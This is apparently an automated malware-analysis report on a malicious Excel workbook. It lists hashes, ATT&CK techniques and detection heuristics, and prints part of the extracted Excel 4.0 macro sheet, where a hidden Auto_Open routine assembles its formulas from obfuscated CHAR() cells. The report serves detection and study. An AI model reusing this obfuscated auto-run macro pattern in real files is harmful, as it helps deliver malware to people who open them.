Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5ccd4e872eea8765…

MALICIOUS

Office (OLE)

222.0 KB Created: 2020-04-07 08:55:27 Authoring application: Microsoft Excel First seen: 2020-07-24
MD5: d0d10d8b7a796d38eb6632f0ad56fe9c SHA-1: d5524aef0b089c1f55e547e0d70d2aa0906ad934 SHA-256: 5ccd4e872eea8765ef7429bfb97cda36530c505e5ce2fc32e37349c62924624e
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open macro, which is a known technique for executing arbitrary code. The macro uses the RUN function, indicating an attempt to execute an external command. While no specific malicious URLs or payloads were directly extracted, the presence of the Auto_Open function and the use of dangerous formula APIs strongly suggest malicious intent.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.microsoft.com/photo/1.0/In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 42532 bytes
SHA-256: 3584f07a419b444e1cd78d1a45932da1c3c547e45544fcb0d02d36dc85c87b02
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, very hidden -  hrlR0MDrN
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!Q1 
' 0018     18 LABEL : Cell Value, String Constant - lqi len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  hrlR0MDrN,D1,CHAR(61),""
'  hrlR0MDrN,M1,CHAR(61),""
'  hrlR0MDrN,O1,CHAR(61),""
'  hrlR0MDrN,Q1,"FORMULA(A4&A5&A6&A8&A9&A10&A11&A12&A13&A15&A16&A17&A19&A20&A21&A22&A24&A25&A26&A27&A29&A30&A31&A33&A34&A35&A36&A38&A39&A40&A41&A43&A44&A45&A47,R1)",""
'  hrlR0MDrN,D2,CHAR(67),""
'  hrlR0MDrN,M2,CHAR(73),""
'  hrlR0MDrN,O2,CHAR(67),""
'  hrlR0MDrN,Q2,"FORMULA(B22&B24&B25&B26&B27&B29&B30&B31&B33&B34&B35&B36&B38&B39&B40&B41&B43&B44&B45&B47&B48&B49&B50&B52&B53&B54&B55&B56&B58&B59&B60&B61&B63&B64&B65,R2)",""
'  hrlR0MDrN,D3,[],""
'  hrlR0MDrN,M3,[],""
'  hrlR0MDrN,O3,[],""
'  hrlR0MDrN,A4,CHAR(61),""
'  hrlR0MDrN,D4,CHAR(65),""
'  hrlR0MDrN,L4,CHAR(61),""
'  hrlR0MDrN,M4,CHAR(70),""
'  hrlR0MDrN,O4,CHAR(65),""
'  hrlR0MDrN,Q4,"FORMULA(C87&C88&C89&C90&C91&C93&C94&C95&C96&C97&C99&C100&C101&C102&C103&C104&C105&C107&C108&C109&C110&C112&C113&C114&C115&C116&C118&C119&C120&C121&C122&C124&C125&C126&C127&C128&C130&C131&C132&C133&C135&C136&C137&C139&C140&C141&C142&C144&C145&C146&C148&C149&C150&C151&C153&C154&C155&C156&C158&C159&C160&C161&C162,R4)",""
'  hrlR0MDrN,A5,CHAR(73),""
'  hrlR0MDrN,D5,CHAR(76),""
'  hrlR0MDrN,L5,CHAR(67),""
'  hrlR0MDrN,M5,CHAR(40),""
'  hrlR0MDrN,O5,CHAR(76),""
'  hrlR0MDrN,Q5,"FORMULA(D1&D2&D4&D5&D6&D8&D9&D10&D11&D12&D13&D15&D16&D17&D19&D20&D21&D22&D24&D25&D26&D27&D29&D30&D31&D33&D34&D35&D36&D38&D39&D40&D41&D43&D44&D45&D47&D48&D49&D50&D52&D53&D54&D55&D56&D58&D59&D60&D61&D63&D64&D65&D66&D67&D69&D70&D71&D72&D74&D75&D76&D77&D78&D80&D81&D82&D83&D84&D86&D87&D88&D89&D90&D91&D93&D94&D95&D96&D97&D99&D100&D101&D102&D103&D104&D105&D107&D108&D109&D110&D112&D113&D114&D115&D116&D118&D119&D120&D121&D122&D124&D125&D126&D127&D128&D130&D131&D132&D133&D135&D136&D137&D139&D140&D141&D142&D144&D145&D146&D148&D149&D150&D151&D153&D154&D155&D156&D158&D159&D160&D161&D162&D163&D164&D166&D167&D168&D169&D170&D171&D172&D173&D174&D175&D176&D177&D178&D179&D180&D181&D182&D183&D184&D185&D186&D187&D188&D189&D190&D191&D192&D193&D194&D195&D196&D197&D198&D199&D200&D201&D202&D203&D204&D205&D206&D207&D208&D209&D210&D211&D212&D213&D214&D215&D216&D217,R5)",""
'  hrlR0MDrN,A6,CHAR(70),""
'  hrlR0MDrN,D6,CHAR(76),""
'  hrlR0MDrN,L6,CHAR(65),""
'  hrlR0MDrN,M6,CHAR(82),""
'  hrlR0MDrN,O6,CHAR(76),""
'  hrlR0MDrN,Q6,"FORMULA(E22&E24&E25&E26&E27&E29&E30&E31&E33&E34&E35&E36&E38&E39&E40&E41&E43&E44&E45&E47&E48&E49&E50,R6)",""
'  hrlR0MDrN,A7,[],""
'  hrlR0MDrN,B7,[],""
'  hrlR0MDrN,C7,[],""
'  hrlR0MDrN,D7,[],""
'  hrlR0MDrN,L7,[],""
'  hrlR0MDrN,M7,[],""
'  hrlR0MDrN,N7,[],""
'  hrlR0MDrN,O7,[],""
'  hrlR0MDrN,A8,CHAR(40),""
'  hrlR0MDrN,D8,CHAR(40),""
'  hrlR0MDrN,G8,CHAR(61),""
'  hrlR0MDrN,L8,CHAR(76),""
'  hrlR0MDrN,M8,CHAR(91),""
'  hrlR0MDrN,O8,CHAR(40),""
'  hrlR0MDrN,Q8,"FORMULA(F12&F13&F15&F16&F17&F19&F20&F21&F22&F24&F25&F26&F27&F29&F30&F31&F33&F34&F35&F36&F38&F39&F40&F41&F43&F44&F45&F47&F48&F49&F50,R8)",""
'  hrlR0MDrN,A9,CHAR(71),""
'  hrlR0MDrN,D9,CHAR(34),""
'  hrlR0MDrN,G9,CHAR(70),""
'  hrlR0MDrN,J9,CHAR(61),""
'  hrlR0MDrN,L9,CHAR(76),""
'  hrlR0MDrN,M9,CHAR(45),""
'  hrlR0MDrN,O9,CHAR(34),""
'  hrlR0MDrN,Q9,"FORMULA(G8&G9&G10&G11&G12&G13&G15&G16&G17&G19&G20&G21&G22&G24&G25&G26&G27&G29,R9)",""
'  hrlR0MDrN,A10,CHAR(69),""
'  hrlR0MDrN,D10,CHAR(83),""
'  hrlR0MDrN,G10,CHAR(80),""
'  hrlR0MDrN,J10,CHAR(70),""
'  hrlR0
... (truncated)